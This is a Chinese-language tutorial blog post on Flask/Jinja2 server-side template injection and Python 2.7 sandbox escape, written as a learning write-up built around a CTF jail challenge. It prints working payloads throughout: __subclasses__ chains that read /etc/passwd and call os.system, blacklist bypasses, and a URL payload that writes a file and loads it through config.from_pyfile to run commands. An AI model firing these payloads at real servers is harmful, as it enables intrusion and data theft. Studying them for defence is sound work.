前言
想着之前学了Flask,就正好把之前的SSTI模板注入,和python沙箱逃逸一起给学了
虽然模板注入和沙箱逃逸是两码事,但是由于jinja2的python运行环境也是一个沙箱,就会涉及到到一些沙箱逃逸的东西
而且沙箱逃逸也不仅仅只有在SSTI中发挥作用,所以虽然写在一起,但沙箱逃逸可能还会占一块比较大而独立的部分
SSTI
SSTI,又称服务端模板注入攻击。其发生在MVC框架中的view层。
服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
先来看一段flask代码1
2
3
4
5
6
7
8
9
10from flask import Flask, render_template_string, config
app = Flask(__name__)
def index(name):
template = '<h1>hello {}!<h1>'.format(name)
return render_template_string(template)
app.run()
就是一个简单的欢迎页面,以一个字符串当作html模板返回给客户端,其中用format格式化的用户的输入,并插入在模板中
接下来来看看输入1
时的输出
可以看到,用户的输入被插入到模板中,然后被jinja2语法解释器解析。返回了解析后的结果。
由于jinja2在设计时就限制了不能执行过多的python语句,而且运行环境也是在一个沙箱中,以保证安全。
jinja2的沙箱逃逸先后面再说,这里我们可以先获取一些flask运行时的数据
如运行session的值(虽然这里暂时没有session)
还有一些flask中的配置变量
简而言之,就相当于控制了对方的view层,可以获取到一切jinja2中可以获取的数据
但假如能逃逸jinja2的沙箱,就可能不仅仅只有那么点危害了..
python沙箱逃逸
概述
python沙箱逃逸主要是用于一些沙箱环境,如一些OJ或者一些在线交互终端,以及jinja2这种python模板解释器
沙箱一般是限制指定函数的运行,或者对指定模块的删除以及过滤
沙箱逃逸就是要逃离这种限制,让对方服务器运行我们指定的恶意代码,以达到getshell或者文件读取的目的
最后,这里的python沙箱逃逸用的是python2.7,python3可能有所不同
一些任意代码执行以及文件读取的函数
os 执行系统命令1
2import os
os.system('ipconfig')
exec 任意代码执行1
exec('__import__("os").system("ipconfig")')
eval 任意代码执行1
eval('__import__("os").system("ipconfig")')
timeit 本是检测性能的,也可以任意代码执行1
2import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)
platform1
2import platform
platform.popen('ipconfig').read()
subprocess1
2import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()
file1
file('/etc/passwd').read()
open1
open('/etc/passwd').read()
codecs1
2import codecs
codecs.open('/etc/passwd').read()
一道ctf
不如先来看一道网上找到的ctf题,来熟悉下经典的逃逸方式1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32from __future__ import print_function
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
删除了内置函数,以及禁止了指定字符的出现
不妨先来看下payload1
[].__class__.__base__.__subclasses__()[40]('flag.txt').read()
先通过__class__
获取列表的类1
2>>>[].__class__
<type 'list'>
再通过__base__
获取基础类 object类(在python2.7中大部分类都继承了object类)1
2 [].__class__.__base__
<type 'object'>
依次获取子类列表__subclasses__()
1
2 [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>, <class 'string.Template'>, <class 'string.Formatter'>]
这样就找了更多可以拓展的类,就更方便于我们找到我们想要执行的函数1
240] [].__class__.__base__.__subclasses__()[
<type 'file'>
第四十个索引恰好是想要的file类型,就可以用它进行文件读取了1
240]('d:/1.txt').read() [].__class__.__base__.__subclasses__()[
'hello world!'
再让我们来看下另一个命令执行的payload1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
前面一部分思路类似于之前文件读取的思路,就直接来到这里1
20].__subclasses__()[59] ().__class__.__bases__[
<class 'warnings.WarningMessage'>
可以看到是获取了一个warnings.WarningMessage类,然后继续执行__init__
后获取全局变量
func_globals返回一个包含函数全局变量的字典引用
然后获取linecache模块(其中包含了os模块)1
20].__subclasses__()[59].__init__.func_globals['linecache'] ().__class__.__bases__[
<module 'linecache' from 'D:\Python\Python27\lib\linecache.pyc'>
然后用__dict__
获取指定模块(由于对输入的字符进行了限制,所以要找个利用字符串获取指定模块的方式)
__dict__是一个字典,键为属性名,值为属性值
1 | 0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'] ().__class__.__bases__[ |
成功获取到了os模块,然后命令执行即可1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
逃逸思路
当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数
一些常见的寻找特殊模块的方式
- __class__:获得当前对象的类
- __bases__:列出其基类
- __mro__ :列出解析方法的调用顺序,类似于bases
- __subclasses__():返回子类列表
- __dict__ : 列出当前属性/函数的字典
- func_globals返回一个包含函数全局变量的字典引用
一些防御与对抗措施
禁止引入敏感包
比如通过正则匹配之类的,拒绝import os
、import commands
之类的语句出现
这是最低级的一种防御措施,可以通过一些编码来进行混淆
1 | f3ck = __import__("pbzznaqf".decode('rot_13')) |
或者配合getattr
函数1
2import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
或者进行一些base64,倒序之类的。
总之,只要找到一个以字符形式执行代码的总是会有办法的
删除__builtins__中的函数
就比如之前那个ctf例子中的1
2for x in targets:
del __builtins__.__dict__[x]
可以通过reload重新导入__builtins__
模块reload(__builtin__)
reload也是__builtins__
中的一个函数,假如它也被删了的话,还可以尝试一个imp的模块1
2import imp
imp.reload(__builtin__)
修改sys.modules
由于import导入包时,是从sys.path中去导入对应的包
防御者可能会对其进行修改,导致无法导入想要的模块
这时可以自己尝试修改模块的位置sys.modules['os']='/usr/lib/python2.7/os.py'
或者尝试运行一遍os.py
,也就相当于导入了一次os模块1
execfile('/usr/lib/python2.7/os.py')
寻找数据链
大多数情况下时,可以尝试利用类似之前的payload,通过类之间的关系,寻找对应的数据链
然后找到你想要的函数引用,就可以进行命令执行了
Jinja2中的沙箱逃逸
沙箱逃逸讲完了,就再回来看看如何逃逸Jinja2的沙箱
和之前环境类似1
2
3
4
5
6
7
8
9
10
11from flask import Flask, render_template_string, request
app = Flask(__name__)
def index():
name = request.args.get('name')
template = '<h1>hello {}!<h1>'.format(name)
return render_template_string(template)
app.run()
环境依旧是2.7,利用之前那个payload,我们很容易就能进行任意文件读取1
http://192.168.5.128:5000/{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
但,其实能做的远不止这些
在config对象中,from_pyfile
可以将对象加载到Flask的配置环境中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27def from_pyfile(self, filename, silent=False):
"""Updates the values in the config from a Python file. This function
behaves as if the file was imported as module with the
:meth:`from_object` function.
:param filename: the filename of the config. This can either be an
absolute filename or a filename relative to the
root path.
:param silent: set to `True` if you want silent failure for missing
files.
.. versionadded:: 0.7
`silent` parameter.
"""
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
这里我们可以利用file类向tmp目录下写入py文件,然后再对其编译,加载到config变量中
先进行文件的写入1
http://192.168.5.128:5000/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/cmd', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
可以看到成功将文件写入
然后对其编译加载到config变量中
可以看到成功的将变量注册到了config中
接下来就可以任意命令执行了
因此Jinja2中并不能因为其是一个沙箱环境,就忽视了SSTI的危害。
切记不能将用户输入传递到模板当中,至少目前情况可以直接get整个物理机的shell
Reference link
https://blog.0kami.cn/2016/09/16/old-python-sandbox-escape/
https://hatboy.github.io/2018/04/19/Python沙箱逃逸总结/
https://xz.aliyun.com/t/52
http://www.freebuf.com/articles/web/98928.html